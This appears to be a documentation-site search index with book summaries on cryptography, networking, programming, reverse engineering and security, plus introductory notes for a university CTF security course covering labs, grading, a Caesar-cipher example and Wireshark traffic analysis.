"},{"location":"Book/Cryptography/Foundations%20of%20Cryptography/#introduction","title":"Introduction","text":"Cryptography is concerned with the conceptualization, definition and construction of computing systems that address security concerns. This book presents a rigorous and systematic treatment of the foundational issues: defining cryptographic tasks and solving new cryptographic problems using existing tools. It focuses on the basic mathematical tools: computational difficulty (one-way functions), pseudo randomness and zero-knowledge proofs. Rather than describing ad-hoc approaches, this book emphasizes the clarification of fundamental concepts and the demonstration of the feasibility of solving cryptographic problems. It is suitable for use in a graduate course on cryptography and as a reference book for experts.
"},{"location":"Book/Cryptography/Foundations%20of%20Cryptography/#cover","title":"Cover","text":""},{"location":"Book/Cryptography/Graphical%20cryptography/","title":"Graphical cryptography","text":"Author: [Japanese] Hiroshi Yuki
"},{"location":"Book/Cryptography/Graphical%20cryptography/#introduction","title":"Introduction","text":"This book explains in detail the six most important cryptographic techniques: symmetric ciphers, public key ciphers, one-way hash functions, message authentication codes, digital signatures, and pseudo-random number generators, in the form of diagrams with text.
Part 1 describes the history of cryptography, symmetric ciphers, grouped cipher patterns (including ECB, CBC, CFB, OFB, CTR), public keys, and hybrid cryptosystems. Part 2 focuses on authentication aspects, covering one-way hash functions, message authentication codes, digital signatures, certificates, etc. Part 3 talks about keys, random numbers, PGP, SSL/TLS, and real-life applications of cryptography.
"},{"location":"Book/Cryptography/Graphical%20cryptography/#cover","title":"Cover","text":""},{"location":"Book/Cryptography/Introduction%20to%20Modern%20Cryptography/","title":"Introduction to Modern Cryptography: Principles and Protocols","text":"Author: Jonathan Katz (Author), Yehuda Lindell (Author)
"},{"location":"Book/Cryptography/Introduction%20to%20Modern%20Cryptography/#introduction","title":"Introduction","text":"Cryptography plays a key role in ensuring the privacy and integrity of data and the security of computer networks. Introduction to Modern Cryptography provides a rigorous yet accessible treatment of modern cryptography, with a focus on formal definitions, precise assumptions, and rigorous proofs.
The authors introduce the core principles of modern cryptography, including the modern, computational approach to security that overcomes the limitations of perfect secrecy. An extensive treatment of private-key encryption and message authentication follows. The authors also illustrate design principles for block ciphers, such as the Data Encryption Standard (DES) and the Advanced Encryption Standard (AES), and present provably secure constructions of block ciphers from lower-level primitives. The second half of the book focuses on public-key cryptography, beginning with a self-contained introduction to the number theory needed to understand the RSA, Diffie-Hellman, El Gamal, and other cryptosystems. After exploring public-key encryption and digital signatures, the book concludes with a discussion of the random oracle model and its applications.
Serving as a textbook, a reference, or for self-study, Introduction to Modern Cryptography presents the necessary tools to fully understand this fascinating subject.
"},{"location":"Book/Cryptography/Introduction%20to%20Modern%20Cryptography/#cover","title":"Cover","text":""},{"location":"Book/Cryptography/Understanding%20Cryptography/","title":"Understanding Cryptography: A Textbook for Students and Practitioners","text":"Author: Christof Paar (Author), Jan Pelzl (Author), Bart Preneel (Foreword)
"},{"location":"Book/Cryptography/Understanding%20Cryptography/#introduction","title":"Introduction","text":"Cryptography is now ubiquitous \u2013 moving beyond the traditional environments, such as government communications and banking systems, we see cryptographic techniques realized in Web browsers, e-mail programs, cell phones, manufacturing systems, embedded software, smart buildings, cars, and even medical implants. Today's designers need a comprehensive understanding of applied cryptography.
After an introduction to cryptography and data security, the authors explain the main techniques in modern cryptography, with chapters addressing stream ciphers, the Data Encryption Standard (DES) and 3DES, the Advanced Encryption Standard (AES), block ciphers, the RSA cryptosystem, public-key cryptosystems based on the discrete logarithm problem, elliptic-curve cryptography (ECC), digital signatures, hash functions, Message Authentication Codes (MACs), and methods for key establishment, including certificates and public-key infrastructure (PKI). Throughout the book, the authors focus on communicating the essentials and keeping the mathematics to a minimum, and they move quickly from explaining the foundations to describing practical implementations, including recent topics such as lightweight ciphers for RFIDs and mobile devices, and current key-length recommendations.
The authors have considerable experience teaching applied cryptography to engineering and computer science students and to professionals, and they make extensive use of examples, problems, and chapter reviews, while the book\u2019s website offers slides, projects and links to further resources. This is a suitable textbook for graduate and advanced undergraduate courses and also for self-study by engineers.
"},{"location":"Book/Cryptography/Understanding%20Cryptography/#cover","title":"Cover","text":""},{"location":"Book/Network/Computer%20Networking/","title":"Computer Networking: A Top-Down Approach","text":"Author: James Kurose (Author), Keith Ross (Author)
"},{"location":"Book/Network/Computer%20Networking/#overview","title":"Overview","text":"Motivates readers with a top-down, layered approach to computer networking
Unique among computer networking texts, the Seventh Edition of the popular Computer Networking: A Top Down Approach** builds on the author\u2019s long tradition of teaching this complex subject through a layered approach in a \u201ctop-down manner.\u201d The text works its way from the application layer down toward the physical layer, motivating readers by exposing them to important concepts early in their study of networking. Focusing on the Internet and the fundamentally important issues of networking, this text provides an excellent foundation for readers interested in computer science and electrical engineering, without requiring extensive knowledge of programming or mathematics. The Seventh Edition** has been updated to reflect the most important and exciting recent advances in networking.
"},{"location":"Book/Network/Computer%20Networking/#cover","title":"Cover","text":""},{"location":"Book/Network/Practical%20Packet%20Analysis/","title":"Practical Packet Analysis: Using Wireshark to Solve Real-World Network Problems","text":"Author: Chris Sanders (Author)
"},{"location":"Book/Network/Practical%20Packet%20Analysis/#overview","title":"Overview","text":"It's easy to capture packets with Wireshark, the world's most popular network sniffer, whether off the wire or from the air. But how do you use those packets to understand what's happening on your network?
With an expanded discussion of network protocols and 45 completely new scenarios, this extensively revised second edition of the best-selling Practical Packet Analysis will teach you how to make sense of your PCAP data. You'll find new sections on troubleshooting slow networks and packet analysis for security to help you better understand how modern exploits and malware behave at the packet level. Add to this a thorough introduction to the TCP/IP network stack and you're on your way to packet analysis proficiency.
Learn how to:
Practical Packet Analysis is a must for any network technician, administrator, or engineer. Stop guessing and start troubleshooting the problems on your network.
"},{"location":"Book/Network/Practical%20Packet%20Analysis/#cover","title":"Cover","text":""},{"location":"Book/Network/TCP%20IP%20Illustrated/","title":"TCP/IP Illustrated","text":"Author: W. Richard Stevens (Author)
"},{"location":"Book/Network/TCP%20IP%20Illustrated/#overview","title":"Overview","text":"Finally, programmers that need to truly understand the TCP/IP protocol suite have a resource to turn to, TCP/IP Illustrated. Instead of merely describing the RFC's, bestselling author Rich Stevens takes an innovative \"visual\" approach which, combined with his writing style, results in an accessible \"understandable\" guide to TCP/IP.
"},{"location":"Book/Network/TCP%20IP%20Illustrated/#cover","title":"Cover","text":""},{"location":"Book/PWN/Core%20Principles%20of%20Reverse%20Engineering/","title":"Core Principles of Reverse Engineering","text":"Author: [Han ] Lee Seung-won Publisher: People's Post and Telecommunications Publishing House Original Title: \ub9ac\ubc84\uc2f1 \ud575\uc2ec\uc6d0\ub9ac Translated by: Wu Chuanhai Publication Year: 2014-4-25 Pages: 679 Price: $109.00 Binding: Paperback Series: Turing Programming Series ISBN: 9787115350183
"},{"location":"Book/PWN/Core%20Principles%20of%20Reverse%20Engineering/#introduction","title":"Introduction","text":"This book provides a very detailed introduction to the core principles of code reversal analysis. The author has worked for many years at the Ahnlab Institute, and the book includes not only the extensive code he has written himself based on this experience, but also a variety of techniques and skills that reverse engineering researchers must understand. This book is a shortcut to the door of reverse engineering, where a thorough understanding and practical mastery of the technique can be extended to many IT-related fields.
Readers who want to become reverse engineering researchers or developers who are working on reverse development will be greatly helped by this book. Also, those who want to become experts in the security field can easily start from this book.
"},{"location":"Book/PWN/Encryption%20and%20Decryption/","title":"Encryption and Decryption","text":"Author: Duan Gang Publisher: Electronic Industry Press Publisher: Bowen Insights Year of publication: 2018-10-1 Pages: 936 Price: 198 Binding: Paperback Series: Security Technology Series ISBN: 9787121336928
"},{"location":"Book/PWN/Encryption%20and%20Decryption/#introduction","title":"Introduction","text":"Encryption and Decryption (4th Edition) takes encryption and decryption as the entry point and describes the basic knowledge and skills in the field of software security, such as debugging skills, reverse analysis, cryptographic protection, shell development, and virtual machine design. These knowledge are connected to each other, and readers can easily expand in the areas of vulnerability analysis, secure programming, virus analysis, and software protection after mastering these contents. From the perspective of employment, mastering the technologies related to encryption and decryption can improve one's competitive ability; from the perspective of personal growth, studying software security technologies helps to master some system underlying knowledge and is an important way to enhance professional skills. As a qualified programmer, besides mastering requirement analysis and design patterns, if you can master some knowledge of the underlying system and be familiar with the underlying structure of the whole system, you will benefit a lot in your work.
Encryption and Decryption (4th Edition) is suitable for security researchers, software debuggers and program developers, and can also be used as a supplementary textbook for information security-related majors in universities.
"},{"location":"Book/PWN/Practical%20Malware%20Analysis/","title":"Practical Malware Analysis","text":"\u4f5c\u8005: Michael Sikorski / Andrew Honig \u51fa\u7248\u793e: No Starch Press \u526f\u6807\u9898: The Hands-On Guide to Dissecting Malicious Software \u51fa\u7248\u5e74: 2012-2 \u9875\u6570: 760 \u5b9a\u4ef7: $ 67.74 ISBN: 9781593272906
"},{"location":"Book/PWN/Practical%20Malware%20Analysis/#_1","title":"\u5185\u5bb9\u7b80\u4ecb","text":"Malware analysis is big business, and attacks can cost a company dearly. When malware breaches your defenses, you need to act quickly to cure current infections and prevent future ones from occurring. For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way. You'll learn how to: * Set up a safe virtual environment to analyze malware * Quickly extract network signatures and host-based indicators * Use key analysis tools like IDA Pro, OllyDbg, and WinDbg * Overcome malware tricks like obfuscation, anti-disassembly, anti-debugging, and anti-virtual machine techniques * Use your newfound knowledge of Windows internals for malware analysis * Develop a methodology for unpacking malware and get practical experience with five of the most popular packers * Analyze special cases of malware with shellcode, C++, and 64-bit code Hands-on labs throughout the book challenge you to practice and synthesize your skills as you dissect real malware samples, and pages of detailed dissections offer an over-the-shoulder look at how the pros do it. You'll learn how to crack open malware to see how it really works, determine what damage it has done, thoroughly clean your network, and ensure that the malware never comes back. Malware analysis is a cat-and-mouse game with rules that are constantly changing, so make sure you have the fundamentals. Whether you're tasked with securing one network or a thousand networks, or you're making a living as a malware analyst, you'll find what you need to succeed in Practical Malware Analysis.
"},{"location":"Book/PWN/Practical%20Malware%20Analysis/#_2","title":"\u76ee\u5f55","text":"Introduction Chapter 0: Malware Analysis Primer Part 1: Basic Analysis Chapter 1: Basic Static Techniques Chapter 2: Malware Analysis in Virtual Machines Chapter 3: Basic Dynamic Analysis Part 2: Advanced Static Analysis Chapter 4: A Crash Course in x86 Disassembly Chapter 5: IDA Pro Chapter 6: Recognizing C Code Constructs in Assembly Chapter 7: Analyzing Malicious Windows Programs Part 3: Advanced Dynamic Analysis Chapter 8: Debugging Chapter 9: OllyDbg Chapter 10: Kernel Debugging with WinDbg Part 4: Malware Functionality Chapter 11: Malware Behavior Chapter 12: Covert Malware Launching Chapter 13: Data Encoding Chapter 14: Malware-Focused Network Signatures Part 5: Anti-Reverse-Engineering Chapter 15: Anti-Disassembly Chapter 16: Anti-Debugging Chapter 17: Anti-Virtual Machine Techniques Chapter 18: Packers and Unpacking Part 6: Special Topics Chapter 19: Shellcode Analysis Chapter 20: C++ Analysis Chapter 21: 64-Bit Malware Appendix A: Important Windows Functions Appendix B: Tools for Malware Analysis Appendix C: Solutions to Labs
"},{"location":"Book/Programming/C/C%20Primer%20Plus/","title":"C Primer Plus (Developer's Library)","text":"by Stephen Prata (Author)
"},{"location":"Book/Programming/C/C%20Primer%20Plus/#introduction","title":"Introduction","text":"C Primer Plus is a carefully tested, well-crafted, and complete tutorial on a subject core to programmers and developers. This computer science classic teaches principles of programming, including structured code and top-down design.
Author and educator Stephen Prata has created an introduction to C that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.
Review questions and programming exercises at the end of each chapter bring out the most critical pieces of information and help readers understand and digest the most difficult concepts. A friendly and easy-to-use self-study guide, this book is appropriate for serious students of programming, as well as developers proficient in other languages with a desire to better understand the fundamentals of this core language.
The sixth edition of this book has been updated and expanded to cover the latest developments in C as well as to take a detailed look at the new C11 standard. In C Primer Plus you\u2019ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:
by Brian W. Kernighan (Author), Dennis M. Ritchie (Author)
"},{"location":"Book/Programming/C/C%20Programming%20Language/#introduction","title":"Introduction","text":"The authors present the complete guide to ANSI standard C language programming. Written by the developers of C, this new version helps readers keep up with the finalized ANSI standard for C while showing how to take advantage of C's rich set of operators, economy of expression, improved control flow, and data structures. The 2/E has been completely rewritten with additional examples and problem sets to clarify the implementation of difficult language constructs. For years, C programmers have let K&R guide them to building well-structured and efficient programs. Now this same help is available to those working with ANSI compilers. Includes detailed coverage of the C language plus the official C language reference manual for at-a-glance help with syntax notation, declarations, ANSI changes, scope rules, and the list goes on and on.
"},{"location":"Book/Programming/C/C%20Programming%20Language/#cover","title":"Cover","text":""},{"location":"Book/Programming/C/C%20Traps%20and%20Pitfalls/","title":"C Traps and Pitfalls","text":"by Andrew Koenig (Author)
"},{"location":"Book/Programming/C/C%20Traps%20and%20Pitfalls/#introduction","title":"Introduction","text":"Even C experts come across problems that require days of debugging to fix. This book helps to prevent such problems by showing how C programmers get themselves into trouble. Each of the book's many examples has trapped a professional programmer.
"},{"location":"Book/Programming/C/C%20Traps%20and%20Pitfalls/#cover","title":"Cover","text":""},{"location":"Book/Programming/C/Expert%20C%20Programming%20Deep%20C%20Secrets/","title":"Expert C Programming: Deep C Secrets","text":"by Peter van der Linden (Author)
"},{"location":"Book/Programming/C/Expert%20C%20Programming%20Deep%20C%20Secrets/#introduction","title":"Introduction","text":"This book is for the knowledgeable C programmer, this is a second book that gives the C programmers advanced tips and tricks. This book will help the C programmer reach new heights as a professional. Organized to make it easy for the reader to scan to sections that are relevant to their immediate needs.
"},{"location":"Book/Programming/C/Expert%20C%20Programming%20Deep%20C%20Secrets/#cover","title":"Cover","text":""},{"location":"Book/Programming/C/Pointers%20on%20C/","title":"Pointers on C","text":"by Kenneth Reek (Author)
"},{"location":"Book/Programming/C/Pointers%20on%20C/#introduction","title":"Introduction","text":"Designed for professionals and advanced students, Pointers On C provides a comprehensive resource for those needing in-depth coverage of the C programming language. An extensive explanation of pointer basics and a thorough exploration of their advanced features allows programmers to incorporate the power of pointers into their C programs. Complete coverage, detailed explanations of C programming idioms, and thorough discussion of advanced topics makes Pointers On C a valuable tutorial and reference for students and professionals alike.
"},{"location":"Book/Programming/C/Pointers%20on%20C/#cover","title":"Cover","text":""},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer%20Plus/","title":"C++ Primer Plus","text":"by Stephen Prata (Author)
"},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer%20Plus/#introduction","title":"Introduction","text":"C++ Primer Plus, Sixth Edition
New C++11 Coverage
C++ Primer Plus is a carefully crafted, complete tutorial on one of the most significant and widely used programming languages today. An accessible and easy-to-use self-study guide, this book is appropriate for both serious students of programming as well as developers already proficient in other languages.
The sixth edition of C++ Primer Plus has been updated and expanded to cover the latest developments in C++, including a detailed look at the new C++11 standard.
Author and educator Stephen Prata has created an introduction to C++ that is instructive, clear, and insightful. Fundamental programming concepts are explained along with details of the C++ language. Many short, practical examples illustrate just one or two concepts at a time, encouraging readers to master new topics by immediately putting them to use.
Review questions and programming exercises at the end of each chapter help readers zero in on the most critical information and digest the most difficult concepts.
In C++ Primer Plus, you\u2019ll find depth, breadth, and a variety of teaching techniques and tools to enhance your learning:
Table of Contents
1: Getting Started with C++
2: Setting Out to C++
3: Dealing with Data
4: Compound Types
5: Loops and Relational Expressions
6: Branching Statements and Logical Operators
7: Functions: C++\u2019s Programming Modules
8: Adventures in Functions
9: Memory Models and Namespaces
10: Objects and Classes
11: Working with Classes
12: Classes and Dynamic Memory Allocation
13: Class Inheritance
14: Reusing Code in C++
15: Friends, Exceptions, and More
16: The string Class and the Standard Template Library
17: Input, Output, and Files
18: The New C++11 Standard
A Number Bases
B C++ Reserved Words
C The ASCII Character Set
D Operator Precedence
E Other Operators
F The stringTemplate Class
G The Standard Template Library Methods and Functions
H Selected Readings and Internet Resources
I Converting to ISO Standard C++
J Answers to Chapter Reviews
"},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer%20Plus/#cover","title":"Cover","text":""},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer/","title":"C++ Primer","text":"by Stanley Lippman (Author), Jos\u00e9e Lajoie (Author), Barbara Moo (Author)
"},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer/#introduction","title":"Introduction","text":"Bestselling Programming Tutorial and Reference Completely Rewritten for the New C11 Standard Fully updated and recast for the newly released C11 standard this authoritative and comprehensive introduction to C will help you to learn the language fast and to use it in modern highly effective ways Highlighting todays best practices the authors show how to use both the core language and its standard library to write efficient readable and powerful code C Primer Fifth Edition introduces the C standard library from the outset drawing on its common functions and facilities to help you write useful programs without first having to master every language detail The books many examples have been revised to use the new language features and demonstrate how to make the best use of them This book is a proven tutorial for those new to C an authoritative discussion of core C concepts and techniques and a valuable resource for experienced programmers especially those eager to see C11 enhancements illuminated Start Fast and Achieve MoreLearn how to use the new C11 language features and the standard library to build robust programs quickly and get comfortable with high-level programming Learn through examples that illuminate todays best coding styles and program design techniques Understand the rationale behind the rules why C11 works as it does Use the extensive crossreferences to help you connect related concepts and insights Benefit from up-to-date learning aids and exercises that emphasize key points help you to avoid pitfalls promote good practices and reinforce what youve learned Access the source code for the extended examples from informit comtitle0321714113 C Primer Fifth Edition features an enhanced layflat binding which allows the book to stay open more easily when placed on a flat surface This special binding method-notable by a small space inside the spine-also increases durability
"},{"location":"Book/Programming/C%2B%2B/C%2B%2B%20Primer/#cover","title":"Cover","text":""},{"location":"Book/Security/0day%20Security/","title":"0day Security: Software Vulnerability Analysis Techniques","text":"Author: Wang Qing
"},{"location":"Book/Security/0day%20Security/#introduction","title":"Introduction","text":"Oday Security: Software Vulnerability Analysis Techniques (2nd Edition), edited by Qing Wang, is divided into five chapters, which systematically and comprehensively introduce the analysis, detection and protection of buffer overflow vulnerabilities in Windows platform. The first chapter is the basic theory and primary technology of vulnerability exploit, which can lead readers to get started quickly; the second chapter, on the basis of the first chapter, combines the cutting-edge achievements of relevant researchers at home and abroad, and summarizes the vulnerability technology from two aspects of attack and defense; the third chapter, from the perspective of security testers, discusses the vulnerability mining methods and ideas of several types of commonly used software; the fourth chapter fills the role of this type of book in The fourth chapter fills the technical gap in the mysterious field of Windows kernel security and related attack and defense knowledge; the fifth chapter uses a large number of Oday case studies to help readers understand the various ideas and methods in the first four chapters. Oday Security: Software Vulnerability Analysis Techniques (2nd Edition) can be used as a reference guide for network security practitioners and hacker enthusiasts, or as a guide for graduate or undergraduate students in network security.
"},{"location":"Book/Security/0day%20Security/#cover","title":"Cover","text":""},{"location":"Book/Security/A%20Guide%20to%20Kernel%20Exploitation/","title":"A Guide to Kernel Exploitation: Attacking the Core","text":"Author: Enrico Perla B.Sc. Computer Science University of Torino M.Sc. Computer Science Trinity College Dublin (Author), Massimiliano Oldani (Author)
"},{"location":"Book/Security/A%20Guide%20to%20Kernel%20Exploitation/#introduction","title":"Introduction","text":"A Guide to Kernel Exploitation: Attacking the Core discusses the theoretical techniques and approaches needed to develop reliable and effective kernel-level exploits, and applies them to different operating systems, namely, UNIX derivatives, Mac OS X, and Windows. Concepts and tactics are presented categorically so that even when a specifically detailed vulnerability has been patched, the foundational information provided will help hackers in writing a newer, better attack; or help pen testers, auditors, and the like develop a more concrete design and defensive structure. The book is organized into four parts. Part I introduces the kernel and sets out the theoretical basis on which to build the rest of the book. Part II focuses on different operating systems and describes exploits for them that target various bug classes. Part III on remote kernel exploitation analyzes the effects of the remote scenario and presents new techniques to target remote issues. It includes a step-by-step analysis of the development of a reliable, one-shot, remote exploit for a real vulnerability a bug affecting the SCTP subsystem found in the Linux kernel. Finally, Part IV wraps up the analysis on kernel exploitation and looks at what the future may hold.
"},{"location":"Book/Security/A%20Guide%20to%20Kernel%20Exploitation/#cover","title":"Cover","text":""},{"location":"Book/Security/Fuzzing%20for%20Software%20Security%20Testing%20and%20Quality%20Assurance/","title":"Fuzzing for Software Security Testing and Quality Assurance (Artech House Information Security and Privacy)","text":"Author: Ari Takanen (Author), Jared D. Demott (Contributor), Charles Miller (Contributor)
"},{"location":"Book/Security/Fuzzing%20for%20Software%20Security%20Testing%20and%20Quality%20Assurance/#introduction","title":"Introduction","text":"Learn the code cracker's malicious mindset, so you can find worn-size holes in the software you are designing, testing, and building. Fuzzing for Software Security Testing and Quality Assurance takes a weapon from the black-hat arsenal to give you a powerful new tool to build secure, high-quality software. This practical resource helps you add extra protection without adding expense or time to already tight schedules and budgets. The book shows you how to make fuzzing a standard practice that integrates seamlessly with all development activities. This comprehensive reference goes through each phase of software development and points out where testing and auditing can tighten security. It surveys all popular commercial fuzzing tools and explains how to select the right one for a software development project. The book also identifies those cases where commercial tools fall short and when there is a need for building your own fuzzing tools.
"},{"location":"Book/Security/Fuzzing%20for%20Software%20Security%20Testing%20and%20Quality%20Assurance/#cover","title":"Cover","text":""},{"location":"Book/Security/Gray%20Hat%20Hacking/","title":"Gray Hat Hacking The Ethical Hackers Handbook","text":"Author: Allen Harper (Author), Shon Harris (Author), Jonathan Ness (Author), Chris Eagle (Author), Gideon Lenkey (Author), Terron Williams (Author)
"},{"location":"Book/Security/Gray%20Hat%20Hacking/#introduction","title":"Introduction","text":"THE LATEST STRATEGIES FOR UNCOVERING TODAY'S MOST DEVASTATING ATTACKS Thwart malicious network intrusion by using cutting-edge techniques for finding and fixing security flaws. Fully updated and expanded with nine new chapters, Gray Hat Hacking: The Ethical Hacker's Handbook, Third Edition details the most recent vulnerabilities and remedies along with legal disclosure methods. Learn from the experts how hackers target systems, defeat production schemes, write malicious code, and exploit flaws in Windows and Linux systems. Malware analysis, penetration testing, SCADA, VoIP, and Web security are also covered in this comprehensive resource. Develop and launch exploits using BackTrack and Metasploit Employ physical, social engineering, and insider attack techniques Build Perl, Python, and Ruby scripts that initiate stack buffer overflows Understand and prevent malicious content in Adobe, Office, and multimedia files Detect and block client-s
"},{"location":"Book/Security/Gray%20Hat%20Hacking/#cover","title":"Cover","text":""},{"location":"Book/Security/Rootkit/","title":"The Rootkit Arsenal: Escape and Evasion: Escape and Evasion in the Dark Corners of the System","text":"Author: Bill Blunden (Author)
"},{"location":"Book/Security/Rootkit/#introduction","title":"Introduction","text":"This book demonstrates how to modify a system at runtime to subvert a forensic live response. Readers will learn how to conceal their presence on a server, disable its security policies, sidestep group policy, maintain remote access, and covertly monitor system activity--all with the system administrator being none the wiser.
"},{"location":"Book/Security/Rootkit/#cover","title":"Cover","text":""},{"location":"Book/Security/Vulnerability%20War/","title":"Vulnerability War: Software Vulnerability Analysis in a Nutshell","text":"Author: \u6797\u6860\u6cc9
"},{"location":"Book/Security/Vulnerability%20War/#introduction","title":"Introduction","text":"Vulnerability War: Essentials of Software Vulnerability Analysis\" systematically explains various tools, theoretical techniques and practical methods for software vulnerability analysis and exploitation, mainly for Windows and Android platforms. Vulnerability War: Software Vulnerability Analysis Essentials is divided into different types of software vulnerabilities, such as stack overflow, sandbox escape, type obfuscation, UAF, kernel vulnerabilities, etc. It also includes the analysis and exploitation of vulnerabilities on Android platform for the current popular mobile security. Taking carefully selected classic vulnerabilities as examples, we share the analysis techniques and tools of vulnerabilities, and explain in detail the causes, exploitation and repair methods of these vulnerabilities, aiming to \"teach to fish\". The most important feature of \"Vulnerability War: Software Vulnerability Analysis Essentials\" is that it uses various types of classical vulnerabilities as practical explanations, abandoning empty-headed theories, and is almost \"a book written with a debugger\".
Vulnerability War: Software Vulnerability Analysis Essentials is suitable for undergraduate and graduate students in computer-related fields, information security enthusiasts, software security and mobile security-related security practitioners, software developers and testers, hackers, etc.
"},{"location":"Book/Security/Vulnerability%20War/#cover","title":"Cover","text":""},{"location":"CS315/Introduction/","title":"CS315 CTF Track","text":"Topics Grade Class Participation 40 Lab 1: Packet Sniffing and Wireshark 60+10 Lab 2: Secure Coding and Buffer Overflows 60+10 Lab 3: Secure Coding and Format-String Vulnerability 60+10 Lab 4: Scanning, Reconnaissance, and Penetration Testing 60+10 Lab 5: Reverse Engineering and Obfuscation 60+10 Lab 6: IoT Security and Wireless Exploitation 60+10 Lab 7: Nailgun Attack 60+10 Lab 8: Nailgun Defense 60+10 Lab 9: Dirty COW Attack 60+10 Lab 10: RSA Public-Key Encryption and Signature 60+10 Lab 11: Web Security 60+10 Lab 12: Return-to-libc & Return Oriented Programming 60+10 Attack-Defense CTF 120 Total 1000The lab submission is the same as the Lab track, while CTF has 240 points in total. 120 points of challenges & virtual machine penetration, and 120 points of AWD CTF.
Let's introduce something about the CTF track.
"},{"location":"CS315/Introduction/#overview","title":"Overview","text":"CTF majors in the practice part of computer security. CTF (Capture the flag) is one kind of cybersecurity game for hacking and penetration testing. In the real world hacking is illegal and dangerous, while some developers found a new type of game: establish a target box, and try to attack it.
In the CTF track, our mission is to solve some simulation challenges and try to grab the top-secret flag
from the box. We would have several challenges or virtual machine boxes every week, our goal is to find a vulnerability and use it to achieve some objectives:
The ability we need to learn in this track is the real-world hacking methodology. We not only need to solve some CTF challenges that focus on specific vulnerabilities but also a from-zero-to-root hacking using a well-designed target virtual machine. At the end of this semester, we also need to run an Attack-with-Defense competition, in which every player attacks others and fixes their vulnerabilities.
The learning involves:
Be careful, CS315 is NOT easy. We need a lot of computer science knowledge to run a simple attack. Please make sure you have the following requirements:
We would have 3 types of assignments. During the CTF track, we would use a CTF platform as a practice environment and submission check.
Inside the university: http://detroit.sustech.edu.cn/
Through public Internet: http://116.7.234.225/
"},{"location":"CS315/Introduction/#ctf-challenge","title":"CTF Challenge","text":"Example:\ntry to find the plain text of this cipher text.\niodj{brx'uh_zhofrph_wr_wkh_fv315!}\nSolution:\nUse Caesar cipher, left rotate move every letter, and find the correct plain text.\nflag{you're_welcome_to_the_cs315!}\n
The challenge is not a fully functional service. We can focus on the specific part of the real-world vulnerability. The final mission of the CTF challenge is to find a special string that starts with flag
or cs315
.
Submit this string to the challenge platform.
However, the assignment we need to submit on the blackboard is not only the flag, we also need to post a writeup
for this challenge. Simply, a writeup
is the step to solve the challenge. Just like mathematics questions, write some steps instead of only the result.
A virtual machine box is a .iso
file that contains some websites or services. We first know nothing about the target box. Usually, a virtual machine box contains a real-world-like service, for example, a blog, or an online shopping platform.
We need to retrieve the root
privilege in this box, each step we would get a flag
as a step mark.
We would have 2 virtual machine box hacking in the 4th week and 8th week.
"},{"location":"CS315/Introduction/#attack-with-defense","title":"Attack-with-Defense","text":"The final exam for the CTF track is the AWD game with all CTF track players. Attack-with-Defense requires everyone to have a server, several services are running on the server. All the players need to keep the services running, fix the vulnerabilities in the service, and attack others' servers.
Every method is allowed.
This game would need us to team up. Each team has 4 members, who work together to win the game.
"},{"location":"CS315/Introduction/#grade","title":"Grade","text":"The grading system we use would try to eliminate the possibility of the rat race. Attitude is no substitute for competence. The weekly challenges and virtual machines have a maximum score of 10, while the final AWD game doesn't have a maximum score, which means you can get as many as possible points in this game.
For the weekly challenge, we have 3 challenges every week:
Let's explain the bonus challenge. The grading system for the AWD game is a log function:
score = (log_1.2(x))^(1+y/100)
x stands for the final points you earn in the AWD, usually, a team has 50,000 initial points, through attacking and defending, you can earn points from others or lose points from others' attacks.
For a tuneful network, without any cybersecurity attacks, every team would get 60 points out of 120 points. However, if a team can earn 1,000,000 points, this team can have 75 points out of 120 points.
Quite a few, right?
But this isn't the final grade, let's talk about the y
in the exponent. This variable stands for the bonus challenges the team solves in the semester. Each bonus challenge can have 1 bonus points, which gives y
some bonus. For a 4-member team, if several members have the same bonus challenge solved, the y
won't be calculated twice (still the same as the bonus points for this challenge).
The maximum y
value would be around 20.
For example, Frankss solved 6 out of 20 bonus challenges, while Monad solved 7 out of 20 bonus challenges, and they have 3 common solutions to the same challenge. The bonus y
value would be 10.
If a team has all bonus points 20, they can have 120 points (maximum) in the AWD with only 19,000 AWD points.
Be aware, that this grading system is only for the elimination of the rat race. I hope everyone can learn about cybersecurity, instead of becoming a script kid.
"},{"location":"CS315/Introduction/#extra-bonus","title":"Extra Bonus","text":"Just like the research track's special rule, if you successfully submitted a paper, the research track would give bonus points. In the CTF track, we can have some similar methods to win the bonus.
Have participated in the DEF CON final.
Any other contribution to real-world security.
I would reference this book from the Nu1L team:
\u4ece0\u52301\uff1aCTFer\u6210\u957f\u4e4b\u8def
For the English version, we can reference these wiki:
https://wiki.compass.college/
https://teambi0s.gitlab.io/bi0s-wiki/
"},{"location":"CS315/Introduction/#environment","title":"Environment","text":"If you want to use some virtual machine as a penetration environment, instead of your physical computer, there are some great distributions:
In reality, e-discovery (digital forensics) is the process of obtaining, preserving, analyzing and presenting evidence of computer intrusion, sabotage, fraud, attack and other crimes in a manner consistent with legal norms by using computer software and hardware technologies. The forensics-related topics in CTF are the process of obtaining the flags placed by the questioner by analyzing the files containing relevant records and traces, such as traffic packets, log files, disk memory images, etc. Forensics-related topics are characterized by a large amount of information, and it may take a very long time to analyze them one by one, so it is essential to master efficient analysis methods.
This section will introduce three common forensic scenarios in CTF, namely traffic analysis, memory image forensics and disk image forensics, the reader needs to master the pre-requisite knowledge including computer network basics, file system basics and operating system basics.
"},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#traffic-analysis","title":"Traffic Analysis","text":""},{"location":"CS315/Lab%201%20Packet%20Sniffing%20and%20Wireshark/#wireshark-and-tshark","title":"Wireshark and Tshark","text":"A traffic packet is generally a traffic file in PCAP format obtained by traffic crawling of a network device on a computer using tools such as tcpdump. The graphical tool Wireshark and its command line tool Tshark can analyze such traffic packets. Wireshark is free software (official website is https://www.wireshark.org/) and supports the analysis of multiple protocols and also supports the traffic capture function.
The interface of Wireshark is shown in Figure 9-3-1. After loading the traffic packet you can see the network traffic, protocols and status are distinguished by color, click on a traffic to see the details of the traffic. Enter the filter expression in the filter field to filter the traffic and see the required network traffic. If you want to filter network traffic for the FTP protocol, enter the FTP expression to see the results (see Figure 9-3-2).
